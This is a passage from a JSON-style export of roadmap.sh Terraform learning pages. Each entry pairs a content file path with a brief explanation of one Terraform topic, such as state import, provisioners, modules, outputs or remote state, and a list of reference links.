    "content": "# Import Existing Resources\n\nTerraform state import is a command used to bring existing resources under Terraform management. It allows you to add resources that were created outside of Terraform (e.g., manually or by other tools) into your Terraform state. The command takes two main arguments: the Terraform resource address and the real-world resource identifier. When executed, it adds the resource to the state file without modifying the actual infrastructure. This is useful for adopting Terraform in environments with existing resources, or for recovering from scenarios where state and reality have diverged. After importing, you need to write the corresponding configuration in your Terraform files to match the imported resource.\n\nIn Terraform v1.5.0 and later you can also create `import` blocks in any Terraform configuration file.\n\nLearn more from the following resources:\n\n- [@official@Terraform import command](https://developer.hashicorp.com/terraform/cli/import)\n- [@article@Terraform Import: What it is and how to use it](https://terrateam.io/blog/terraform-import)\n- [@video@Exploring the Import Block in Terraform 1.5](https://www.youtube.com/watch?v=znfh_00EDZ0)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/infracost@oANePqjkwtNMwvV-_W0B7.md",
    "content": "# Infracost\n\nInfracost is an open-source tool that provides real-time cost estimates for Terraform projects. It analyzes Terraform configuration files and generates detailed cost breakdowns for cloud resources across various providers like AWS, Azure, and Google Cloud. Infracost integrates into CI/CD pipelines to show cost implications of infrastructure changes during the development process. It supports diff outputs, showing how proposed changes will affect costs. This tool is particularly valuable for teams looking to optimize cloud spending and maintain cost awareness throughout the infrastructure development lifecycle. Infracost can be used standalone or integrated with other tools, helping teams make informed decisions about resource provisioning and configuration changes.\n\nLearn more from the following resources:\n\n- [@official@Infracost Website](https://www.infracost.io/)\n- [@opensource@infracost/infracost](https://github.com/infracost/infracost)\n- [@video@Shifting FinOps Left: A live demo](https://www.youtube.com/watch?v=BQeO137DDo8)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/input-variables@VxMse1VTZAUtVhpKv1OHS.md",
    "content": "# Input Variables\n\nTerraform input variables are parameters for modules, declared using variable blocks. They support multiple data types, default values, and descriptions. Users provide values when invoking modules or running Terraform. Accessed via `var.<name>` syntax, input variables enable flexible, reusable infrastructure templates adaptable to various deployment scenarios. They can be marked sensitive for security and are typically defined in a `variables.tf` file.\n\nLearn more from the following resources:\n\n- [@official@Define Input Variables](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/aws-variables)\n- [@article@Terraform Input and Output Variables Explained](https://kodekloud.com/blog/terraform-variables-explained/)\n- [@video@Terraform Basics: Input Variables](https://www.youtube.com/watch%3Fv%3D2f65JhfYmIo)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/inputs--outputs@NsBJTYH9KXvjJuhPzjE_L.md",
    "content": "# Inputs / Outputs\n\nModule inputs and outputs in Terraform facilitate the flow of data into and out of modules, enabling customization and data sharing. Inputs are defined using variable blocks within a module and allow the module's behavior to be customized when it's used. They can have default values and type constraints. \n\nWhen calling a module, inputs are provided as arguments. Outputs, defined using output blocks, expose specific values from the module's resources, making them available to the calling module. This allows for data to be passed between modules or to be used in other parts of the configuration. Outputs can include computed values, resource attributes, or any Terraform expression. Properly designed inputs and outputs are crucial for creating flexible, reusable modules that can be easily integrated into various configurations.\n\nLearn more from the following resources:\n\n- [@official@Accessing Module Output Values](https://developer.hashicorp.com/terraform/language/modules/syntax#accessing-module-output-values)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/inspect--modify-state@KXlLlaR0_S7gE_ZB1hNEd.md",
    "content": "# Inspect / Modify State\n\nTerraform provides tools to inspect and modify state, enabling management of tracked resources without altering the actual infrastructure. These capabilities allow users to view the current state in human-readable format, list all resources in the state, and obtain detailed information on specific resources. For state modification, Terraform offers methods to move resources within the state or to different state files, remove resources from state without deleting the actual resource, and update the state to match real-world infrastructure. These tools are crucial for reconciling discrepancies between Terraform's state and actual infrastructure, and for managing resources across different Terraform configurations or workspaces. However, state modifications should be performed cautiously, as improper changes can lead to inconsistencies between the state and the actual infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Inspecting State](https://developer.hashicorp.com/terraform/cli/state/inspect)\n- [@article@How to Manage Terraform State: A Step-by-Step Guide](https://meriemterki.medium.com/how-to-manage-terraform-state-a-step-by-step-guide-b615bd6ee0de)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/installing-terraform@AYtBLFU1nowEq-EVlXrEZ.md",
    "content": "# Installing Terraform\n\nTo install Terraform, you need to download the appropriate package for your operating system from the official Terraform website. After downloading, unzip the package and move the executable to a directory included in your system's PATH. This allows you to run Terraform commands from the terminal. For more detailed installation instructions, refer to the links below.\n\nVisit the following resources to learn more:\n\n- [@official@Install Terraform](https://developer.hashicorp.com/terraform/install)\n- [@official@Installing Terraform CLI](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli)\n- [@video@Install Terraform on Ubuntu](https://www.youtube.com/watch?v=LM3RLgNu7tU)\n- [@video@Install Terraform on MacOS](https://www.youtube.com/watch?v=ViMwnReV1A8)\n- [@video@Install Terraform on Windows 10/11](https://www.youtube.com/watch?v=qj4cOSYr7po)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/integration-testing@ENkLj3z6hR2cKT7rBhYp5.md",
    "content": "# Integration Testing\n\nTerraform integration testing involves verifying that Terraform configurations work correctly with actual cloud resources and services. These tests create real infrastructure components, interact with them, and then destroy them, ensuring that resources are properly provisioned and configured in a live environment. Integration tests typically use frameworks like Terratest or custom scripts to automate the process of applying Terraform configurations, validating the resulting infrastructure, and cleaning up afterwards. They check for correct resource creation, proper configuration of interdependent resources, and overall system behavior. While more time-consuming and potentially costly than unit tests, integration tests provide high confidence in the reliability of Terraform code in real-world scenarios. They're crucial for catching issues that may only appear when interacting with actual cloud services, such as API limitations or unexpected service behaviors.\n\nLearn more from the following resources:\n\n- [@official@Integration Testing or Unit Testing](https://developer.hashicorp.com/terraform/language/tests#integration-or-unit-testing)\n- [@video@Learn Terraform - Integration and End-to-End Testing](https://www.youtube.com/watch?v=gdcc1WBzMwY)\n- [@article@Integration tests](https://www.hashicorp.com/blog/testing-hashicorp-terraform#integration-tests)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/introduction@h6qRrUe-bn25s0UkxU600.md",
    "content": "# Introduction\n\nTerraform is a powerful tool designed by HashiCorp that helps you set up, manage, and update infrastructure safely and efficiently across various cloud providers. Think of it as a way to define your cloud resources—like servers, storage, and networks—using a simple code format. This makes it easier to automate, share, and manage your infrastructure, ensuring that everything is consistent and can be quickly reproduced or modified as needed.\n\nVisit the following resources to learn more:\n\n- [@official@Terraform Website](https://www.terraform.io/)\n- [@official@Terraform Documentation](https://developer.hashicorp.com/terraform)\n- [@video@Terraform for Beginners](https://www.youtube.com/watch?v=SLB_c_ayRMo)\n- [@feed@Explore top posts about Terraform](https://app.daily.dev/tags/terraform?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/jenkins@qFpaqOSoefTyKxmI-FRZt.md",
    "content": "# Jenkins\n\nUsing Terraform with Jenkins enables automated infrastructure management within a Jenkins-based CI/CD pipeline. This integration allows for consistent and repeatable infrastructure deployments alongside application builds. In a typical setup, Jenkins jobs or pipelines are configured to execute Terraform commands, such as `init`, `plan`, and `apply`. Jenkins can manage different environments by using parameters or separate jobs for each environment. Proper credential management is crucial for securely handling cloud provider access keys. Jenkins' rich plugin ecosystem can enhance Terraform workflows with additional features like visualization and notification capabilities.\n\nLearn more from the following resources:\n\n- [@article@Terraform with Jenkins – How to Manage Workflows](https://spacelift.io/blog/terraform-jenkins)\n- [£article@How to run Terraform in your Jenkins CI/CD pipeline.](https://blog.digger.dev/how-to-run-terraform-in-jenkins/)\n- [@video@How to Use Terraform and Jenkins to Automate Infrastructure Setup](https://www.youtube.com/watch?v=kIDiP3Unj7Y)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/kics@MUkbLTMzmaVWbAJj6G3aj.md",
    "content": "# KICS\n\nKICS (Keeping Infrastructure as Code Secure) is an open-source static analysis tool designed to scan Infrastructure as Code (IaC) files, including Terraform configurations, for security vulnerabilities, compliance issues, and infrastructure misconfigurations. It supports multiple IaC technologies and cloud providers, offering a comprehensive approach to securing cloud-native environments. KICS uses a robust set of predefined rules to detect potential security risks, ranging from insecure defaults to violations of industry standards and best practices. The tool allows for custom query development, enabling organizations to tailor scans to their specific security and compliance needs. KICS can be easily integrated into CI/CD pipelines, providing early detection of issues in the development lifecycle. Its ability to generate detailed reports and support various output formats facilitates easy interpretation of results and integration with other security and DevOps tools, making it a valuable asset in maintaining secure and compliant infrastructure deployments managed through Terraform.\n\nLearn more from the following resources:\n\n- [@official@KICS Website](https://kics.io/index.html)\n- [@opensource@checkmarx/kics](https://github.com/Checkmarx/kics)\n- [@video@Autoremediate your Infrastructure-as-Code](https://www.youtube.com/watch?v=jVpQPTyg3hs)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/lifecycle@0A8zTuCXVmcruJdfH3cNu.md",
    "content": "# lifecycle\n\nThe lifecycle meta-argument in Terraform customizes the behavior of resources during creation, update, and deletion. It includes settings such as create_before_destroy, which ensures a new resource is created before the old one is destroyed, preventing downtime. prevent_destroy protects resources from accidental deletion, and ignore_changes specifies attributes to ignore during updates, allowing external modifications without triggering Terraform changes. These options provide fine-grained control over resource management, ensuring that the desired state of infrastructure is maintained with minimal disruption and precise handling of resource lifecycles.\n\nLearn more from the following resources:\n\n- [@official@Terraform Docs - lifecycle](https://developer.hashicorp.com/terraform/language/meta-arguments/lifecycle)\n- [@article@Terraform Resource Lifecycle](https://spacelift.io/blog/terraform-resource-lifecycle)\n- [@article@Understanding the Lifecycle Block](https://dev.to/pwd9000/terraform-understanding-the-lifecycle-block-4f6e)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/list@Y-mgCkDpawt5NrMwDH9Ki.md",
    "content": "# list\n\nThe terraform list command is used to display a list of resources within the Terraform state. It provides a quick overview of all the resources currently being managed by Terraform in your configuration. This command is particularly useful when working with large or complex infrastructures, allowing developers to quickly see what resources are under Terraform's control. The output includes the resource type and name for each managed resource, making it easy to identify specific elements of your infrastructure. It's often used in conjunction with other state manipulation commands to verify the contents of the state or to identify resources for further inspection or modification.\n\nLearn more from the following resources:\n\n- [@official@Terraform State List](https://developer.hashicorp.com/terraform/cli/commands/state/list)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/local-exec-provisioner@g2F5-nX4Aw-xWZiypNbnL.md",
    "content": "# local-exec provisioner\n\nThe local-exec provisioner in Terraform allows the execution of local commands on the machine running Terraform after a resource is created. It's useful for tasks that need to be performed locally rather than on the remote resource. This provisioner can run scripts, update local files, or trigger local processes based on the creation of cloud resources. Common use cases include updating local inventories, triggering local notifications, or running local scripts that interact with the newly created resources. While powerful, it should be used judiciously as it can make Terraform operations dependent on the local environment. The local-exec provisioner doesn't affect the resource itself and isn't tracked in Terraform's state, so it's important to design these commands to be idempotent. It's best suited for simple, local operations that don't require complex error handling or state management.\n\nLearn more from the following resources:\n\n- [@official@local-exec Provisioner](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n- [@video@Terraform - Local exec](https://www.youtube.com/watch?v=2dVq8L2LBc0)\n- [@article@Local-Exec Provisioner](https://learning-ocean.com/tutorials/terraform/terraform-local-exec-provisioner/)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/local-values@1mFih8uFs3Lc-1PLgwiAU.md",
    "content": "# Local Values\n\nLocal values can be understood as a name assigned to any expression to use it multiple times directly by the name in your terraform module. Local values are referred to as locals and can be declared using the `locals` block. Local values can be a literal constants, resource attributes, variables, or other local values. Local values are helpful to define expressions or values that you need to use multiple times in the module as it allows the value to be updated easily just by updating the local value. A local value can be accessed using the `local` argument like `local.<value_name>`.\n\nLearn more from the following resources:\n\n- [@official@Local Values](https://developer.hashicorp.com/terraform/language/values/locals)\n- [@article@Terraform Locals](https://spacelift.io/blog/terraform-locals)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/meta-arguments@TPd00dRndj1P8674KTTrm.md",
    "content": "# Meta Arguments\n\nMeta-arguments in Terraform resources provide additional control over how resources are managed and interact within the configuration.\n\nLearn more from the following resources:\n\n- [@article@Meta Arguments in Terraform](https://muditmathur121.medium.com/meta-arguments-in-terraform-aaaa6e3734e6)\n- [@article@Terraform Meta-Arguments](https://www.devopsschool.com/blog/terraform-tutorials-meta-arguments/)\n- [@video@Resource Meta Arguments](https://www.youtube.com/watch?v=7JraLCfroyE)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/modules-best-practices@gTMPK0tfs2JYgoL7SAGW6.md",
    "content": "# Modules Best Practices\n\nTerraform module best practices focus on creating reusable, maintainable, and scalable infrastructure components.\n\n- Modules should have a single, clear purpose and be designed with flexibility in mind, using input variables for customization.\n- Outputs should be carefully chosen to provide necessary information without over-exposing internal details.\n- Version your modules and use semantic versioning to manage changes.\n- Keep modules small and focused, adhering to the single responsibility principle.\n- Document your modules thoroughly, including usage examples and input/output descriptions.\n- Use consistent naming conventions and structure across modules.\n- Test modules in isolation and as part of larger systems.\n- Avoid hard-coding values that might change across environments.\n- Consider using nested modules for complex structures, but be mindful of over-nesting.\n- Regularly review and refactor modules to incorporate improvements and maintain best practices.\n\nLearn more from the following resources:\n\n- [@official@Module Best Practices](https://developer.hashicorp.com/terraform/tutorials/modules/module#module-best-practices)\n- [@article@Terraform Modules Guide: Best Practices & Examples](https://www.env0.com/blog/terraform-modules)\n- [@video@Best practices for modularizing a Terraform project | PlatformCon 2023](https://www.youtube.com/watch?v=byzwaTng3ac)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/modules@R2AORYmc1NgGTqLZY5Fu-.md",
    "content": "# Modules\n\nTerraform modules are reusable components that encapsulate a set of resources, their configurations, and their interconnections. They allow for organizing Terraform code into logical, self-contained units that can be shared and reused across different projects or within the same project. Modules promote code reusability, maintainability, and consistency in infrastructure deployments. They can accept input variables, produce output values, and be nested within other modules. By using modules, teams can create standardized infrastructure components, enforce best practices, and simplify complex configurations. Modules can be sourced from local directories, version control systems, or public registries like the Terraform Registry. Effective use of modules can significantly reduce code duplication, improve infrastructure management, and enable the creation of scalable, maintainable Terraform configurations.\n\nVisit the following resources to learn more:\n\n- [@official@Modules Overview - Configuration Language | Terraform](https://developer.hashicorp.com/terraform/language/modules)\n- [@official@Terraform Modules](https://developer.hashicorp.com/terraform/language/modules)\n- [@official@Modules - Terraform Registry](https://registry.terraform.io/browse/modules)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/mv@0xVXwjWPFXDGRw_3p6th6.md",
    "content": "# mv\n\nThe terraform state mv command is used to move resources within a Terraform state or between separate state files. It allows for reorganizing the state without modifying the actual infrastructure. This command is useful when refactoring Terraform configurations, moving resources between modules, or splitting a large state file into smaller ones. It takes two arguments: the source and destination addresses of the resource. The command updates all references to the moved resource, ensuring that future operations correctly target the resource at its new location. This functionality is particularly valuable when restructuring complex projects or adapting to changing organizational needs. However, it should be used cautiously, as incorrect moves can lead to state inconsistencies.\n\nLearn more from the following resources:\n\n- [@official@Terraform State mv](https://developer.hashicorp.com/terraform/cli/commands/state/mv)\n- [@official@Moving Resources](https://developer.hashicorp.com/terraform/cli/state/move)\n- [@video@Terraform — Terraform State MV ](https://www.youtube.com/watch?v=i10IMXn3l0o)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/output-syntax@31fa8kBzCEn-uCrTSoPM4.md",
    "content": "# Output Syntax\n\nTerraform output syntax is used to define values that should be made accessible after applying a Terraform configuration. The basic syntax is:\n\n```hcl\noutput \"name\" {\n  value = expression\n  description = \"Optional description\"\n  sensitive = bool\n}\n```\n\n`name` is a unique identifier for the output. `value` is the expression whose result will be output. `description` is optional and provides context. `sensitive` is a boolean flag to mark sensitive data.\n\nLearn more from the following resources:\n\n- [@official@Hashicorp Output Tutorial](https://developer.hashicorp.com/terraform/tutorials/configuration-language/outputs)\n- [@official@Declaring an Output Value](https://developer.hashicorp.com/terraform/language/values/outputs#declaring-an-output-value)\n- [@article@Terraform Output Values : Complete Guide & Examples](https://spacelift.io/blog/terraform-output)\n- [@article@Terraform: Output a field from a module](https://stackoverflow.com/questions/47034515/terraform-output-a-field-from-a-module)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/output@kw32gb4HSeCEoBwkeziS_.md",
    "content": "# output\n\nThe terraform output command is used to extract the value of an output variable from the Terraform state. It allows you to view the values of outputs defined in your Terraform configuration after they have been applied. This command is useful for retrieving information about your infrastructure, such as IP addresses, resource IDs, or computed values, which can then be used in scripts or passed to other systems. When run without arguments, it displays all outputs. You can specify a particular output name to retrieve a specific value. The command supports different output formats, including JSON, making it easy to integrate with other tools or workflows. It's particularly valuable in CI/CD pipelines or when Terraform is used as part of a larger automation process.\n\nLearn more from the following resources:\n\n- [@official@Terraform output command](https://developer.hashicorp.com/terraform/cli/commands/output)\n- [@article@Terraform output](https://learning-ocean.com/tutorials/terraform/terraform-output/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/outputs@7GK4fQf1FRKrZgZkxNahj.md",
    "content": "# Outputs\n\nTerraform outputs expose selected values from a configuration or module, making them accessible to users or other modules. Defined in output blocks, typically in an `outputs.tf` file, they can reference resource attributes or other computed values. Outputs are displayed after apply operations, can be queried using terraform output commands, and are crucial for passing information between modules or to external systems.\n\nLearn more from the following resources:\n\n- [@official@Output Values](https://developer.hashicorp.com/terraform/language/values/outputs)\n- [@article@Terraform Output Values](https://spacelift.io/blog/terraform-output)\n- [@video@Learn Terraform Outputs in 4 Minutes](https://www.youtube.com/watch?v=i-Ky1Tut_2I)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/parallelism@RtwZy60ruRpskmgr1qYYf.md",
    "content": "# Parallelism\n\nTerraform parallelism refers to its ability to create, modify, or destroy multiple resources concurrently. By default, Terraform performs operations on up to 10 resource instances simultaneously. This parallel execution can significantly reduce the time required for applying large configurations. The level of parallelism can be adjusted using the `-parallelism` flag in Terraform commands or through configuration settings. Increasing parallelism can speed up operations, especially in large infrastructures, but may also increase load on the API endpoints of cloud providers. It's important to balance parallelism with API rate limits and resource dependencies. Some resources or providers may not support parallel operations, and Terraform automatically serializes these. Effective use of parallelism requires understanding resource dependencies and provider capabilities to optimize performance without causing errors or exceeding service limits.\n\nLearn more from the following resources:\n\n- [@article@Considerations when setting the TFE_PARALLELISM environment variable](https://support.hashicorp.com/hc/en-us/articles/10348130482451-Considerations-when-setting-the-TFE-PARALLELISM-environment-variable)\n- [@official@Walking the graph](https://developer.hashicorp.com/terraform/internals/graph#walking-the-graph)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/preconditions@DB-p_S4Ce4tDWF4wDiGSt.md",
    "content": "# Preconditions\n\nTerraform preconditions are declarative checks within resource or data blocks that validate configuration or state before Terraform attempts to create or modify resources. They use condition arguments to specify logical tests and `error_message` arguments for custom failure notifications. Preconditions help catch misconfigurations early, enforce business rules, and ensure dependencies are met before resource operations.\n\nLearn more from the following resources:\n\n- [@official@Custom Condition Checks](https://developer.hashicorp.com/terraform/language/values/outputs#custom-condition-checks)\n- [@video@Using Precondition and Post-condition Blocks in Terraform](https://www.youtube.com/watch?v=55ZLu8tSnvk)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/project-initialization@GlIXmCuvR_C81RMeMM1Kz.md",
    "content": "# Project Initialization\n\nProject initialization in Terraform involves setting up the necessary configuration files and directory structure for managing infrastructure as code. The `terraform init` command is crucial in this process, as it initializes the working directory, downloads the required provider plugins, and sets up the backend configuration for storing state files. This command ensures that the project is correctly configured and ready for subsequent Terraform commands, laying the foundation for efficient and organized infrastructure management.\n\nLearn more from the following resources:\n\n- [@official@Init Command](https://developer.hashicorp.com/terraform/cli/commands/init)\n- [@official@Initialize Terraform Configuration](https://developer.hashicorp.com/terraform/tutorials/cli/init)\n- [@article@Terraform Init](https://spacelift.io/blog/terraform-init)\n- [@video@Learn Terraform: The Init Command](https://www.youtube.com/watch?v=82lsMLqWjS4)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/provider@5FLOFTP_nCa3qi1wbV4qE.md",
    "content": "# provider\n\nThe `provider` meta-argument in Terraform specifies which provider configuration to use for a resource, overriding the default provider selection based on the resource type name. This is useful in scenarios where multiple configurations of the same provider are required, such as managing resources across different regions or environments. By setting the `provider` argument, you can ensure that the resource uses the specified provider setup, identified by its alias, enhancing control and flexibility in multi-provider or multi-region deployments. This meta-argument is essential for precisely directing Terraform on how to interact with the underlying infrastructure provider.\n\nLearn more from the following resources:\n\n- [@official@Terraform Docs - provider](https://developer.hashicorp.com/terraform/language/meta-arguments/resource-provider)\n- [@article@Terraform by Example - provider](https://www.terraformbyexample.com/providers/)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/providers@ZRVv9onD7KGz1cJLcsnwy.md",
    "content": "# Providers\n\nTerraform Providers are plugins that enable interaction with various external APIs. They manage the lifecycle of resources by defining resource types and data sources. Each provider requires configuration, typically including authentication details and endpoint URLs. Providers are specified in the `provider` block, and multiple providers can be used in a single Terraform project to manage resources across different platforms.\n\nLearn more from the following resources:\n\n- [@official@Providers Documentation](https://developer.hashicorp.com/terraform/language/providers#providers)\n- [@article@Understanding Terraform Providers](https://docs.aws.amazon.com/prescriptive-guidance/latest/getting-started-terraform/providers.html)\n- [@video@What are terraform providers and how to use them?](https://www.youtube.com/watch?v=Kd7ddHBR2ec)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/provisioners@6vs1VvjeILgAPLL6g7dfy.md",
    "content": "# Provisioners\n\nProvisioners in Terraform are used to execute scripts or other actions on local or remote machines as part of resource creation or destruction. They allow for configuration management tasks that go beyond Terraform's declarative model. Provisioners can run scripts, upload files, or execute other tools on resources after they're created. Common types include local-exec (runs commands on the machine running Terraform) and remote-exec (runs commands on a remote resource). While powerful, provisioners should be used sparingly as they can make Terraform runs less predictable and idempotent. They're often seen as a last resort when native Terraform resources or provider capabilities are insufficient. Best practices suggest using dedicated configuration management tools like Ansible or Chef instead of heavy reliance on provisioners. When used, provisioners should be designed to be idempotent and handle potential failures gracefully.\n\nLearn more from the following resources:\n\n- [@official@Provisioners - Terraform](https://developer.hashicorp.com/terraform/language/resources/provisioners/syntax)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/published-modules-usage@AAg_iFggkEZNL12-6nkgK.md",
    "content": "# Published Modules Usage\n\nUsing published modules in Terraform involves incorporating pre-built, often community-contributed modules into your infrastructure code. These modules are typically available through the Terraform Registry or other version control systems. They provide ready-made configurations for common infrastructure components, saving time and promoting best practices. To use a published module, you specify its source (usually a URL or registry path) and version in your Terraform configuration. You can then configure the module by passing input variables. Published modules can range from simple resource wrappers to complex, multi-resource configurations. They offer benefits like reduced development time, standardized implementations, and community-tested solutions. However, it's important to review and understand any published module before using it in production environments to ensure it meets your specific requirements and security standards.\n\nLearn more from the following resources:\n\n- [@opensource@Terraform Registry - Modules](https://registry.terraform.io/browse/modules)\n- [@official@Publishing Modules](https://developer.hashicorp.com/terraform/registry/modules/publish)\n- [@video@Terraform - Publish modules](https://www.youtube.com/watch?v=9vBp1D3myH8)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/remote-exec-provisioner@JQE3_KakBXZdMVP_pPFNS.md",
    "content": "# remote-exec provisioner\n\nThe remote-exec provisioner in Terraform is used to invoke scripts directly on a remote resource after it has been created. This provisioner is commonly used for tasks like software installation, configuration, or any other setup required on the newly created resource. It can run either a list of commands or a script file on the remote system. The remote-exec provisioner requires a connection block to specify how to access the remote system, typically using SSH for Linux or WinRM for Windows. While useful for initial setup tasks, it's generally recommended to use this provisioner sparingly and prefer more robust configuration management tools for complex or ongoing management tasks. Care should be taken to ensure that scripts run by remote-exec are idempotent and handle potential network issues or other failures gracefully.\n\nLearn more from the following resources:\n\n- [@official@Remote-exec provisioner](https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec)\n- [@article@Terraform remote-exec provisioner](https://learning-ocean.com/tutorials/terraform/terraform-remote-exec-provisioner/)\n- [@video@Terraform - remote-exec](https://www.youtube.com/watch?v=kjDXbGeLvRw)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/remote-state@pDm08NBVwGf9rAIZC_ZIR.md",
    "content": "# Remote State\n\nTerraform remote state refers to storing the state file in a shared, centralized location rather than locally. This approach enables team collaboration, improves security, and ensures state consistency. Common remote backends include cloud storage services like AWS S3, Azure Blob Storage, or managed services like Terraform Cloud. Remote state allows multiple team members to safely work on the same infrastructure, prevents state file loss, and can provide locking mechanisms to avoid concurrent modifications. It's configured in the backend block of the Terraform configuration. Remote state can also be used to share outputs between different Terraform configurations, enabling modular infrastructure design. While more complex to set up initially, remote state is considered a best practice for production environments and team-based Terraform workflows.\n\nLearn more from the following resources:\n\n- [@official@Remote state](https://developer.hashicorp.com/terraform/language/state/remote)\n- [@official@The terraform_remote_state Data Source](https://developer.hashicorp.com/terraform/language/state/remote-state-data)\n- [@video@Terraform remote state backends explained](https://www.youtube.com/watch?v=jSoMQCBxp7E)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/resource-behavior@BgZu7Xao5GjR8StVL7qhM.md",
    "content": "# Resource Behavior\n\nResource behavior encompasses how resources are managed, created, updated, and destroyed according to the configuration specified in Terraform files. Each resource block specifies desired attributes, and Terraform ensures that the real-world infrastructure matches these specifications. If writing a configuration for the first time, the resources defined will only exist in the configuration and will not be reflected on the target platform until applied.  When a configuration is applied, Terraform generates an execution plan, determining the actions required to reach the desired state, such as creating new resources, updating existing ones, or deleting resources no longer needed.\n\nLearn more from the following resources:\n\n- [@official@Behaviour](https://developer.hashicorp.com/terraform/language/resources/behavior)\n- [@article@Terraform Resource Syntax, Behavior and State](https://terraformguru.com/terraform-certification-using-azure-cloud/09-Resource-Syntax-and-Behavior/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/resource-lifecycle@76kp98rvph_8UOXZR-PBC.md",
    "content": "# Resource Lifecycle\n\nEach Terraform resource is subject to the lifecycle: Create, Update or Recreate, Destroy. When executing `terraform apply`, each resource:\n* which exists in configuration but not in state is created\n* which exists in configuration and state and has changed is updated\n* which exists in configuration and state and has changed, but cannot updated due to API limitation is destroyed and recreated\n* which exists in state, but not (anymore) in configuration is destroyed\n\nThe lifecycle behaviour can be modified to some extend using the `lifecycle` meta argument.\n\nLearn more from the following resources:\n\n- [@official@How Terraform Applies a Configuration](https://developer.hashicorp.com/terraform/language/resources/behavior#how-terraform-applies-a-configuration)\n- [@official@The lifecycle Meta-Argument](https://developer.hashicorp.com/terraform/language/meta-arguments/lifecycle)\n- [@Article@Terraform Resource Lifecycle Meta-Argument](https://spacelift.io/blog/terraform-resource-lifecycle)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/resources@BYydmFc2e-YPCC4MCWmh2.md",
    "content": "# Resources\n\nResources represent components of your infrastructure such as Virtual Machines, Storage Buckets, Databases or Virtual Private Clouds. Access to provider resources comes after successful project initialization after declaring your desired providers.\n\nLearn more from the following resources:\n\n- [@official@Resource Blocks](https://developer.hashicorp.com/terraform/language/resources/syntax)\n- [@video@Define Infrastructure With Terraform Resources](https://developer.hashicorp.com/terraform/tutorials/configuration-language/resource)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/rm@uR6Vjm8cek9JRzZV0iTXh.md",
    "content": "# rm\n\nThe terraform state rm command is used to remove resources from the Terraform state without destroying the actual infrastructure. This command is useful when you want to stop managing a resource with Terraform without deleting it, or when you need to move a resource to a different state file. It takes one or more resource addresses as arguments, specifying which resources to remove from state. After removal, Terraform will no longer track or manage these resources, but they will continue to exist in your infrastructure. This command should be used carefully, as it can create discrepancies between your Terraform configuration and the actual state of your infrastructure.\n\nLearn more from the following resources:\n\n- [@official@Terraform rm command](https://developer.hashicorp.com/terraform/cli/commands/state/rm)\n- [@article@Terraform State Rm: How to Remove a Resource From State File](https://spacelift.io/blog/terraform-state-rm)\n- [@video@How to remove resource from Terraform state file | terraform state rm example](https://www.youtube.com/watch?v=uK__Ls6an1c)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/root-vs-child-modules@6W4_akHG9YtvN6dpbZnG-.md",
    "content": "# Root vs Child Modules\n\nIn Terraform, root and child modules refer to different levels of module hierarchy in a configuration. The root module is the main set of configuration files in the working directory where Terraform is executed. It's the entry point of your Terraform project and typically calls other modules. Child modules, on the other hand, are modules called by the root module or by other modules. They are reusable components that encapsulate specific resource configurations. Root modules define the overall architecture and compose child modules to create the complete infrastructure. Child modules focus on specific, repeatable tasks or resource groups. This hierarchy allows for better organization, reusability, and maintainability of Terraform code, enabling complex infrastructures to be broken down into manageable, modular components.\n\nLearn more from the following resources:\n\n- [@official@The root module](https://developer.hashicorp.com/terraform/language/modules#the-root-module)\n- [@official@Child modules](https://developer.hashicorp.com/terraform/language/modules#child-modules)\n- [@article@What is the difference between Terraform \"Module\" and \"Child Module\"](https://stackoverflow.com/questions/77671412/what-is-the-difference-between-terraform-module-and-child-module)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/run-tasks@nU1WoRtxRF9KeNhzuwNUB.md",
    "content": "# Run Tasks\n\nHCP Run Tasks, a feature of Terraform Cloud, allow for the integration of external services or custom logic into the Terraform workflow. These tasks can be configured to run before or after Terraform plans and applies, enabling additional validation, notification, or data processing steps. Run Tasks can be used for various purposes such as security scanning, cost estimation, custom policy checks, or triggering external workflows. They are executed via webhooks, allowing integration with a wide range of third-party services or internal tools. This feature enhances the flexibility and extensibility of the Terraform workflow, enabling organizations to implement custom processes and integrations tailored to their specific needs. \n\nLearn more from the following resources:\n\n- [@official@Run Tasks](https://developer.hashicorp.com/terraform/cloud-docs/workspaces/settings/run-tasks)\n- [@official@Terraform Registry - Run Tasks](https://registry.terraform.io/browse/run-tasks)\n- [@official@Run Tasks API](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/run-tasks/run-tasks)"
  },
  {
